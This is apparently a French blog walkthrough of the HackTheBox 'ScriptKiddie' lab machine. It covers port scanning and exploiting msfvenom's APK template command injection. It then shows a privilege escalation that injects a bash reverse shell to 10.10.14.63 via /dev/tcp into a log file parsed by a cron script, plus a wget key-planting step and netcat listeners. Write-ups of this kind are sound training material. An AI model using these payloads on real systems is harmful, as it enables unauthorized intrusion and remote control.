Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux
solution hackthebox scriptkiddie en français

Salut les amis pentesteurs ! Cet article nous amène tout droit sur HackTheBox où nous piraterons la machine du nom de ScriptKiddie.

Petit rappel, HackTheBox est une plateforme d’apprentissage en matière de sécurité offensive. Elle regroupe des machines vulnérables de différents niveaux (easy, medium,hard et insane) piratables à travers un VPN.

La machine scriptkiddie est une box de niveau easy, mais il y a, j’en suis sûr, des choses à apprendre sur les payloads.

Focalisons-nous sur notre machine cible dont l’adresse IP est la suivante: 10.10.10.226.

Reconnaissance

A cette étape, nous collectons toutes informations utiles de notre machine: identifier les ports ouverts est la première des choses.

Nmap scan report for 10.10.10.226
Host is up (0.24s latency).
Not shown: 65425 closed ports, 108 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nous remarquons deux ports ouverts:

  • Le service ssh sur le port 22
  • Le service http sur le port 5000

Nous nous intéressons au port 5000. En y accédant dans le navigateur, nous pouvons constater qu’il s’agit d’une application disposant des fonctionnalités de nmap, msfvenom et searchsploit

À ce stade faisons une pause afin de marquer le réalisme de cette machine… (WTF?)

Bref… reprenons..

  • La fonctionnalité nmap (session nmap): dispose d’un champ pour récupérer l’adresse IP que vous souhaitez scanner;
  • La fonctionnalité msfvenom (session payloads): dispose des champs pour les options de la commande msfvenom; il s’agit de la plateforme, le lhost et le template ;
  • La fonctionnalité searchsploit (session sploits): dispose d’un champ de recherche pour avoir les événtuels exploits sur un terme donné.

Premièrement, nous avons recherché des éventuelles pages cachées et vulnérabilités liées à la technologie Werkzeug mais rien à signaler.

Ensuite, nous procédons à une interaction avec l’application proprement dite. En recherchant des vulnérabilités liées à chacune des fonctionnalités, nous découvrons une liée à msfvenom:

https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection/.

Exploitation

Metasploit Framework fournit l’outil msfvenom pour la génération payload. Pour la plupart des types de payload fournis par msfvenom, il permet à l’utilisateur de fournir un «template» à l’aide de l’option -x.

Il existe une vulnérabilité d’injection de commande dans msfvenom lors de l’utilisation d’un fichier APK spécialement conçu comme template de payload Android : cette vulnérabilité concerne particulièrement les templates sous forme apk.

A cet effet, Metasploit dispose d’un module nous permettant de concevoir le template malicieux en question.

Nous venons aisni de générer notre template malicieux et est situé à l’emplacement suivant sur notre machine: /home/Sancelisso/.msf4/local/msf.apk

A présent, nous allons l’uploader au niveau de la section payloads sur le site. Il faudra préalablement exécuter la commande suivante pour recevoir la connexion sur le port 4444:

nc -lnvp 4444
upload du template apk

Suite à cela, nous obtenons le shell !

Pour une meilleure interactivité, nous pouvons envoyer notre clé public ssh sur la machine victime.

  • Démarrage d’un serveur http
démarrage d’un serveur http
  • Téléchargement de la clé publique et insertion dans le fichier authorized_keys

Ceci a été fait à partir de la commande suivante: wget http://10.10.14.63:8000/id_rsa.pub && cat id_rsa.pub >> authorized_keys

insertion de la clé publique dans le fichier authorized_keys

Sur ce, nous pouvons nous connecter facile par ssh sur la machine victime

Escalade de privilège

A cette étape, nous essayerons d’avoir l’accès root.

Primo, nous passons à une énumération des utilisateurs. Nous avons identifié au total deux utilisateurs en dehors du root qui sont: kid (utilsateur actuel) et pwn. (cat /etc/passwd | grep bash)

Nous parcourons un peu le répertoire de l’utilisateur pwn.

Il y a un fichier se trouvant dans le répertoire de l’utilisateur qui attire notre attention: scanlosers.sh

Il s’agit d’un script bash. Mais que fait-t-il ?

En termes simple et bref, voici ce que fait le script

  • Le script se positionne dans le /home/pwn
  • Il lit chaque ligne du fichier contenu dans la variable log (/home/kid/logs/hackers) et:
    • délimite suivant l’espace (cut -d ‘ ‘ )
    • sélectionne le troisième champ sur la ligne (-f3-)
    • prends des résultats uniques
  • Exécuter nmap sur le résultats des opérations du point précédent et envoyer la sortie et les erreurs dans /dev/null
  • Si le nombre de ligne contenu dans le fichier est supérieur à 0, alors insérer du vide dans le fichier.

Alors en se basant sur ce que fait le script, nous allons écrire dans le fichier /home/kid/logs/hackers dans le but de faire du reverse shell afin de se connecter en tant que l’utilisateur pwn. Le contenu sera ceci:   ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.63/5555 0>&1' #

édition du fichier hackers

NB: il y a bel et bien deux espaces avant la virgule qui est au début de notre payload

avec 10.10.14.63 votre adresse ip donnée par le VPN et 5555 le port d’écoute. Il faut executer la commande nc -lnvp 5555 avant de remplir le fichier en question.

Une fois le fichier enregistré, vous obtenez le shell !

obtention du shell de l’utilisateur pwn

Ensuite, nous vérifions les droits de l’utilisateur pwn avec la comande sudo -l

pwn@scriptkiddie:~$ sudo -l
sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

Bingo ! Nous découvrons que l’utilisateur peut exécuter la commande msfconsole en tant que root.

Obtention de l’accès root et lecture de flag

Conclusion

En résumé, le piratage de cette machine nous a été utile à:

  • prendre connaissance de cette vulnérabilité liée à la génération de templates au format apk pour msfvenom;
  • Revoir certaines commandes pour mieux analyser un script;

A très bientôt !

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.